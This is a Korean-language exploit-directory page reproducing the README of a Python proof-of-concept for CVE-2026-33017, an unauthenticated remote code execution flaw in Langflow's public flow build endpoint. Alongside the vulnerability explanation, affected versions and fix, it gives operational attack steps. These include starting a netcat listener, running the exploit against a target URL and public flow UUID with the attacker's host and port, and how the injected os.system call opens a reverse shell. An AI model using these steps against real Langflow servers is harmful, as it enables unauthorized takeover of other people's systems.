Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33017 — Python POC, Exploit for CVE-2026-33017 | Kitploit
도구/GitHubGitHub/c0gnit00/cve-2026-33017
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubc0gnit00/cve-2026-33017

CVE-2026-33017

Python POC, Exploit for CVE-2026-33017

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33017 - Langflow 인증되지 않은 원격 코드 실행

⚠️ 면책 조항: 이 저장소는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적 테스트 권한이 있는 시스템에서만 사용하십시오. 저자는 이 도구의 오용이나 손해에 대해 책임지지 않습니다.

개요

CVE-2026-33017은 LangChain 애플리케이션 구축을 위한 시각적 프레임워크인 Langflow의 인증되지 않은 원격 코드 실행 취약점입니다.

POST /api/v1/build_public_tmp/{flow_id}/flow 엔드포인트는 인증 없이 공개 플로우를 빌드할 수 있도록 합니다. data 매개변수가 제공되면 엔드포인트는 데이터베이스에 저장된 플로우 데이터 대신 공격자가 제어하는 플로우 데이터(노드 정의에 임의의 Python 코드 포함)를 사용합니다. 이 코드는 샌드박싱 없이 exec()에 전달되어 인증되지 않은 원격 코드 실행이 발생합니다.

영향을 받는 버전

  • Langflow <= 1.7.3
  • Langflow >= 1.8.2에서 수정됨

악용을 위한 전제 조건

  1. 대상 Langflow 인스턴스에 하나 이상의 공개 플로우가 있어야 합니다 (데모, 챗봇, 공유 워크플로우에 흔함).
  2. 공격자는 공개 플로우의 UUID를 알고 있어야 합니다 (공유 링크/URL을 통해 발견 가능).
  3. 인증이 필요하지 않습니다. client_id 쿠키(임의의 문자열 값)만 있으면 됩니다.

설치

root@kitploit:~
git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

사용법

1. 리스너 설정

공격 머신에서 리버스 셸을 수신할 netcat 리스너를 시작합니다:

root@kitploit:~
nc -lvnp 4444

2. 익스플로잇 실행

root@kitploit:~
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444

인수

예시

root@kitploit:~
# 터미널 1: 리스너 시작
nc -lvnp 4444

# 터미널 2: 익스플로잇 실행
python3 CVE-2026-33017.py \
    --url http://192.168.1.100:7860 \
    --flow-id 550e8400-e29b-41d4-a716-446655440000 \
    --lhost 10.0.0.5 \
    --lport 4444

작동 방식

  1. craft_malicious_node() — 공격자가 제어하는 Python 코드가 포함된 CustomComponent를 포함하는 악성 Langflow 노드를 구성합니다. 이 코드는 그래프 구성 중에 (플로우가 "실행"되기 전에) 실행되는 최상위 os.system() 호출을 포함합니다.

  2. fire_payload() — 악성 노드를 JSON 형식으로 인증되지 않은 build_public_tmp 엔드포인트에 임의의 client_id 쿠키와 함께 전송합니다.

  3. 코드 실행 — 서버는 공격자가 제공한 플로우 데이터를 구문 분석하고 사용자 정의 컴포넌트를 인스턴스화한 후 prepare_global_scope() 중에 포함된 코드에 대해 exec()를 호출합니다. 최상위 할당 _r = __import__('os').system(...)은 명령 실행을 즉시 트리거합니다.

  4. 리버스 셸 — 페이로드는 리스너로 연결되는 Python 리버스 셸을 생성합니다.

취약점 세부 정보

근본 원인

build_public_tmp 엔드포인트는 (공개 플로우를 위해) 인증되지 않도록 설계되었지만, data 매개변수를 통해 공격자가 제공한 플로우 데이터를 잘못 수용합니다. data가 제공되면 저장된 플로우 데이터를 우회하고 공격자가 제어하는 노드를 그래프 빌더에 직접 전달합니다.

권장 수정 사항

build_public_tmp에서 data 매개변수를 제거하십시오. 공개 플로우는 데이터베이스에 저장된 자체 플로우 데이터만 실행해야 하며, 공격자가 제공한 데이터는 절대 실행하지 않아야 합니다.

참고 자료

  • NVD - CVE-2026-33017
  • Langflow 릴리즈 1.8.2

라이선스

이 프로젝트는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

도구 다운로드
인수필수설명
--url예대상 URL (예: http://localhost:7860)
--flow-id예공개 플로우 UUID
--lhost예리스너 IP 주소
--lport예리스너 포트
--timeout아니요요청 제한 시간(초) (기본값: 15)